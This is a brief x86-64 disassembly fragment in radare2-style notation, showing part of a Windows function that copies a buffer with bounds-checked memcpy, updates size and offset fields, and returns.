test rax, rax
je 0x55125b
cmp r15, r14
cmovb r14, r15
mov rcx, rbx
mov rdx, rax
mov r8, r14
call sub.ntdll.dll_memcpy
mov rax, qword [rsi + 0x78]
add rax, r14
cmp rax, qword [rsi + 0x70]
ja 0x551298
mov qword [rsi + 0x78], rax
add r14, qword [rdi + 0x10]
jb 0x551298
cmp qword [rdi + 0x18], r14
jb 0x551298
mov qword [rdi + 0x10], r14
xor r14d, r14d
jmp 0x551282
mov r14, qword [rsp + 0x30]
mov qword [rsp + 0x28], r14
mov rcx, r14
call fcn.0048c6ff
cmp al, 0xd
jne 0x551282
and qword [rsi + 0x38], 0
lea rcx, [rsp + 0x28]
call fcn.0054d516
mov eax, 1
jmp 0x551289
and qword [rsi + 0x38], 0
xor eax, eax
mov rdx, r14
add rsp, 0x40
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
ud2